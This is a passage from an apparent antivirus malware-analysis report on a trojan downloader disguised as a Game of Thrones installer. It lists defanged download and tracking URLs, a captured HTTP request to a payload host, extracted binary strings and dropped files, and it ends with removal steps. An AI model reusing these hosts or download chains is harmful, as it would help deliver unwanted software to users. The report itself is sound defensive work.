20Telltale%20Gam.n3=setup-1228.exe.b3=ru.c3=sevenzip-2.s3=0.m3=1.d3=
1500.t4=dl.u4=hXXp://VVV.amonisto.org/download.php?version=1.1.5.26&ca
mpid=2140&instid[appname]=&instid[appsetupurl]=http://pe-sixi.co
m/downloadS.php?bu=am&instid[cmdline]=/S&instid[appimageurl]=h
ttp://pe-sixi.com/img/icon_installer.png&prefix=Setup&instid
[thankyoupage]=.n4=Setup__2140_il256.exe.b4=am.c4=2140-sevenzip.s4=0.m
4=0.d4=0.t5=dl.u5=hXXp://stapi.sweetcomet.com/api/stamp/setup.exe?&aff
iliateid=1780&productname=Game%20of%20Thrones%20A%20Telltale%2
520Gam&producturl=http://d3pccup19xda2t.cloudfront.net/sev
<<< skipped >>>

POST hXXp://up.int-ic-3.xyz/installer.php?affId=1006&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&trackingId=946801&cc=UA HTTP/1.1

Host: up.int-ic-3.xyz

Connection: close

Accept: */*

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3

Content-Type: application/x-www-form-urlencoded

id[]=29&id[]=34&id[]=35&id[]=36&id[]=37&id[]=38&id[]=39&id[]=40&id[]=41&id[]=42&id[]=43&id[]=44&id[]=45&id[]=46&id[]=47&id[]=48&id[]=49&id[]=50&id[]=51&id[]=52&id[]=53&id[]=54&id[]=55&id[]=56&id[]=57
HTTP/1.1 411 Length Required

Content-Type: text/html; charset=us-ascii

Server: Microsoft-HTTPAPI/2.0

Date: Sun, 16 Aug 2015 22:35:35 GMT

Connection: close

Content-Length: 344
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""hXXp://VVV.w3.org
/TR/html4/strict.dtd">..<HTML><HEAD><TITLE>Length
 Required</TITLE>..<META HTTP-EQUIV="Content-Type" Content="t
ext/html; charset=us-ascii"></HEAD>..<BODY><h2>Le
ngth Required</h2>..<hr><p>HTTP Error 411. The reque
st must be chunked or have a content length.</p>..</BODY>&
lt;/HTML>....

The Trojan connects to the servers at the folowing location(s):

.text

`.data

.rdata

P.idata

@.edata

@.rsrc

@.reloc

MsgHandler

Windows

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

uxtheme.dll

USER32.DLL

MAPI32.DLL

comctl32.dll

DWMAPI.DLL

ssShift

htKeyword

EInvalidOperation

%s_%d

kernel32.dll

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

clWebSnow

clWebFloralWhite

clWebLavenderBlush

clWebOldLace

clWebIvory

clWebCornSilk

clWebBeige

clWebAntiqueWhite

clWebWheat

clWebAliceBlue

clWebGhostWhite

clWebLavender

clWebSeashell

clWebLightYellow

clWebPapayaWhip

clWebNavajoWhite

clWebMoccasin

clWebBurlywood

clWebAzure

clWebMintcream

clWebHoneydew

clWebLinen

clWebLemonChiffon

clWebBlanchedAlmond

clWebBisque

clWebPeachPuff

clWebTan

clWebYellow

clWebDarkOrange

clWebRed

clWebDarkRed

clWebMaroon

clWebIndianRed

clWebSalmon

clWebCoral

clWebGold

clWebTomato

clWebCrimson

clWebBrown

clWebChocolate

clWebSandyBrown

clWebLightSalmon

clWebLightCoral

clWebOrange

clWebOrangeRed

clWebFirebrick

clWebSaddleBrown

clWebSienna

clWebPeru

clWebDarkSalmon

clWebRosyBrown

clWebPaleGoldenrod

clWebLightGoldenrodYellow

clWebOlive

clWebForestGreen

clWebGreenYellow

clWebChartreuse

clWebLightGreen

clWebAquamarine

clWebSeaGreen

clWebGoldenRod

clWebKhaki

clWebOliveDrab

clWebGreen

clWebYellowGreen

clWebLawnGreen

clWebPaleGreen

clWebMediumAquamarine

clWebMediumSeaGreen

clWebDarkGoldenRod

clWebDarkKhaki

clWebDarkOliveGreen

clWebDarkgreen

clWebLimeGreen

clWebLime

clWebSpringGreen

clWebMediumSpringGreen

clWebDarkSeaGreen

clWebLightSeaGreen

clWebPaleTurquoise

clWebLightCyan

clWebLightBlue

clWebLightSkyBlue

clWebCornFlowerBlue

clWebDarkBlue

clWebIndigo

clWebMediumTurquoise

clWebTurquoise

clWebCyan

clWebPowderBlue

clWebSkyBlue

clWebRoyalBlue

clWebMediumBlue

clWebMidnightBlue

clWebDarkTurquoise

clWebCadetBlue

clWebDarkCyan

clWebTeal

clWebDeepskyBlue

clWebDodgerBlue

clWebBlue

clWebNavy

clWebDarkViolet

clWebDarkOrchid

clWebMagenta

clWebDarkMagenta

clWebMediumVioletRed

clWebPaleVioletRed

clWebBlueViolet

clWebMediumOrchid

clWebMediumPurple

clWebPurple

clWebDeepPink

clWebLightPink

clWebViolet

clWebOrchid

clWebPlum

clWebThistle

clWebHotPink

clWebPink

clWebLightSteelBlue

clWebMediumSlateBlue

clWebLightSlateGray

clWebWhite

clWebLightgrey

clWebGray

clWebSteelBlue

clWebSlateBlue

clWebSlateGray

clWebWhiteSmoke

clWebSilver

clWebDimGray

clWebMistyRose

clWebDarkSlateBlue

clWebDarkSlategray

clWebGainsboro

clWebDarkGray

clWebBlack

AutoHotkeys

\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\

EInvalidGraphicOperation

SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview

WindowState

OnKeyDown

OnKeyPress

OnKeyUp

GlassFrame.Bottom

GlassFrame.Enabled

GlassFrame.Left

GlassFrame.Right

GlassFrame.SheetOfGlass

GlassFrame.Top

Uhr%D

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

User32.dll

TKeyEvent

TKeyPressEvent

HelpKeyword`

crSQLWait

%s (%s)

imm32.dll

xxtype.cpp

derv->tpClass.tpcFlags & CF_HAS_BASES

Inappropriate I/O control operation

Broken pipe

Operation not permitted

%H:%M:%S

%m/%d/%y

%A, %B %d, %Y

%s: %s error

d/d/d d:d:d.d

xx.cpp

varType->tpClass.tpcFlags & CF_HAS_DTOR

varType->tpClass.tpcDtorAddr

(vbFlag && (errPtr->ERRcInitDtc >= varType->tpClass.tpcDtorCount)) || (!vbFlag && (errPtr->ERRcInitDtc >= varType->tpClass.tpcNVdtCount)) || flags

memType->tpClass.tpcFlags & CF_HAS_DTOR

varType->tpArr.tpaElemType->tpClass.tpcFlags & CF_HAS_DTOR

dttPtr->dttType->tpPtr.tppBaseType->tpClass.tpcFlags & CF_HAS_DTOR

IS_CLASS(dttPtr->dttType->tpMask) && (dttPtr->dttType->tpClass.tpcFlags & CF_HAS_DTOR)

elemType->tpClass.tpcFlags & CF_HAS_DTOR

wstring.cpp

ADVAPI32.DLL

KERNEL32.DLL

VERSION.DLL

COMCTL32.DLL

GDI32.DLL

SHELL32.DLL

OLEAUT32.DLL

WINHTTP.DLL

RegCloseKey

RegCreateKeyExW

RegFlushKey

RegOpenKeyExA

GetCPInfo

GetProcessHeap

SetViewportOrgEx

ActivateKeyboardLayout

EnumChildWindows

EnumThreadWindows

EnumWindows

GetKeyNameTextA

GetKeyState

GetKeyboardLayout

GetKeyboardLayoutList

GetKeyboardLayoutNameA

GetKeyboardState

GetKeyboardType

LoadKeyboardLayoutA

MapVirtualKeyA

MsgWaitForMultipleObjects

SetWindowsHookExA

UnhookWindowsHookEx

WinHttpCloseHandle

WinHttpConnect

WinHttpCrackUrl

WinHttpOpen

WinHttpOpenRequest

WinHttpQueryDataAvailable

WinHttpQueryHeaders

WinHttpReadData

WinHttpReceiveResponse

WinHttpSendRequest

wrapper3.exe

333333333333333333

33333833

3333339

3333333333333338

:*"*"$3338

3333333

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

#%1uvwxyz{fZ

LLL.MMM[

vwy(cfh$`ce.pqu/XYZ

?%uITk

JÝD

.oJ)z

Font.Charset

Font.Color

Font.Height

Font.Name

Font.Style

version="11.0.2709.7128"

name="Microsoft.Windows.Common-Controls"

version="6.0.0.0"

publicKeyToken="6595b64144ccf1df"

<requestedExecutionLevel

6 6$6(6:7

0]1|1~311

2"2&2*2.22262:2

1$1,141<1

94282<2@2\2|2

2 2$2(2,202

> >(>0>8>

< <(<0<8<@<

4-4}4W4

292/2@2~1

< <(<,<0<4<8<

: :$:(: 8

6 6/6?6_6

<!=$=)=-=4=

? ?$?(?,?

9 9$9(9,9094989<9@9

6!6%6)6-616

8":,:&:0:

> >$>(>,>0>4>8>

< <(<0<8<

74888<8@8

0.exe

Psapi.dll

Kernel32.dll

Value must be between %d and %d Clipboard does not support Icons/Menu '%s' is already being used by another form

- Dock zone has no controlLError loading dock zone from the stream. Expecting version %d, but found %d.

$Parent given is not a parent of '%s'

%s property out of range

Unsupported clipboard format

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

Operation not supported

External exception %x

Interface not supported

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

Invalid variant operation%Invalid variant operation (%s%.8x)

%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Integer overflow Invalid floating point operation

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Privileged instruction(Exception %s in module %s at %p.

$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Thread creation error: %s

Thread Error: %s (%d)!'%s' is not a valid integer value

I/O error %d

Cannot open file "%s". %s

Invalid stream format$''%s'' is not a valid component name

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d) Out of memory while expanding memory stream

Error reading %s%s%s: %s

Failed to get data for '%s'

Resource %s not found

%s.Seek not implemented

No help found for %s#No context-sensitive help installed

Ancestor for '%s' not found

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

tmp2.tmp_1572:

.text

`.rdata

@.data

.ndata

.rsrc

uDSSh

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

SHFileOperationA

ShellExecuteA

SHELL32.dll

RegEnumKeyA

RegCreateKeyExA

RegCloseKey

RegDeleteKeyA

RegOpenKeyExA

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

verifying installer: %d%%

hXXp://nsis.sf.net/NSIS_Error

... %d%%

~nsu.tmp

%u.%u%s%s

RegDeleteKeyExA

%s=%s

*?|<>/":

"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsf4.tmp\cpSetup.exe"

_downloader-Q7ZEHxMfO.exe

f%20Thrones%20A%20Telltale%20Gam&producturl=http://d3pccup19xda2t.cloudfront.net/sevenzip-setup-ap.exe&productimage=http://d3pccup19xda2t.cloudfront.net/pe/szip_pub.png&productversion=9.20&producteula=http://sevenzip.info/terms.html&productsize=1.06MB&productcmd=s&publishercontact=http://sevenzip.info&productbusiness=sd,se,ad,co,prm,wsa,ita,serp,bro&antivirusPolicy=2&subid=1453&subid2=4219214

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsf4.tmp\BgWorker.dll

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsf4.tmp

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsf4.tmp\BgWorker.dll

;[<P.rN

S>8F;[<P.rN

S>8F;<P.rN

s%U)C

K4.RM"

`.reloc

KERNEL32.DLL

MsgWaitForMultipleObjects

BgWorker.dll

System.dll

callback%d

WS2_32.dll

NSISdl.dll

invalid URL

Host: %s

GET %s HTTP/1.0

User-Agent: NSISDL/1.2 (Mozilla)

http=

Software\Microsoft\Windows\CurrentVersion\Internet Settings

Unable to open %s

%skB (%d%%) of %skB at %u.
ukB/s

(%u hours remaining)

(%u minutes remaining)

(%u seconds remaining)

Downloading %s

-Zf}"

m{N%x:/B

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsf4.tmp

cpSetup.exe

-"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsf4.tmp\cpSetup.exe"

pccup19xda2t.cloudfront.net/sevenzip-setup-ap.exe&productimage=http://d3pccup19xda2t.cloudfront.net/pe/szip_pub.png&productversion=9.20&producteula=http://sevenzip.info/terms.html&productsize=1.06MB&productcmd=s&publishercontact=http://sevenzip.info&productbusiness=sd,se,ad,co,prm,wsa,ita,serp,bro&antivirusPolicy=2&subid=1453&subid2=4219214

7711039

x.exe

staller.com/installer/?iid=324&nsoft=9

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\tmp2.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp

tmp2.tmp

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsf3.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

1242169745

4677997

1376550

-1257634830

403308921

hXXp://get.cp-retr.xyz/?affId=1006&appTitle=Game%20of%20Thrones%20A%20Telltale%20Gam&s1=1453&s2=4219214&setupName=cpSetup&appVersion=2.92&instId=11

up19xda2t.cloudfront.net/sevenzip-setup-ap.exe&productimage=http://d3pccup19xda2t.cloudfront.net/pe/szip_pub.png&productversion=9.20&producteula=http://sevenzip.info/terms.html&productsize=1.06MB&productcmd=s&publishercontact=http://sevenzip.info&productbusiness=sd,se,ad,co,prm,wsa,ita,serp,bro&antivirusPolicy=2&subid=1453&subid2=4219214

0.x.exe

Q7ZEHxMfO.exe

)-.Yln

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>

tmp2.tmp_1572_rwx_003D4000_00001000:

callback%d

tmp2.tmp_1572_rwx_10001000_00007000:

/key=

.text

`.rdata

@.data

.rsrc

@.reloc

cpSetup.exe_1336:

.text

`.rdata

@.data

.ndata

.rsrc

uDSSh

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

SHFileOperationA

ShellExecuteA

SHELL32.dll

RegEnumKeyA

RegCreateKeyExA

RegCloseKey

RegDeleteKeyA

RegOpenKeyExA

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

verifying installer: %d%%

unpacking data: %d%%

... %d%%

hXXp://nsis.sf.net/NSIS_Error

~nsu.tmp

%u.%u%s%s

RegDeleteKeyExA

%s=%s

*?|<>/":

\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg7.tmp\34b4227a-acf6-4d98-afbf-519da068a2a0.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg7.tmp\34b4227a-acf6-4d98-afbf-519da068a2a0.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg7.tmp

%Program Files%

\34b4227a-acf6-4d98-afbf-519da068a2a0.dll

$$\wininit.ini

@.reloc

subid1: %s

subid2: %s

subid3: %s

subid4: %s

subid5: %s

url1: %s

url2: %s

apptitle: %S

appimgurl: %s

appsetupurl: %s

appcmd: %s

apptyurl: %s

appversion: %s

Offer path: %s

Offer retruned: %s

hXXp://

Stub.dll

GetProcessHeap

<requestedExecutionLevel level='asInvoker' uiAccess='false' />

<assemblyIdentity type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*' />

nsg7.tmp

:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg7.tmp

"C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsf4.tmp\cpSetup.exe"

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsf4.tmp

cpSetup.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg5.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsf4.tmp\cpSetup.exe

:::#222.111 )))

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46</description><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   %Documents and Settings%\%current user%\Local Settings\Temp\nsg6.tmp (23 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\QIPV28PO\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\FYJGUGVC\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IAL6UBHM\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\00047183.a (28 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\0004774f.a (1690 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0LMVK9MF\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsg7.tmp\34b4227a-acf6-4d98-afbf-519da068a2a0.dll (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\BgWorker.dll (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\NSISdl.dll (14 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\nsDialogs.dll (9 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\cpSetup.exe (5977 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\nsArray.dll (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\217711039 (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\tmp1.tmp (15803 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\tmp2.tmp (13602 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.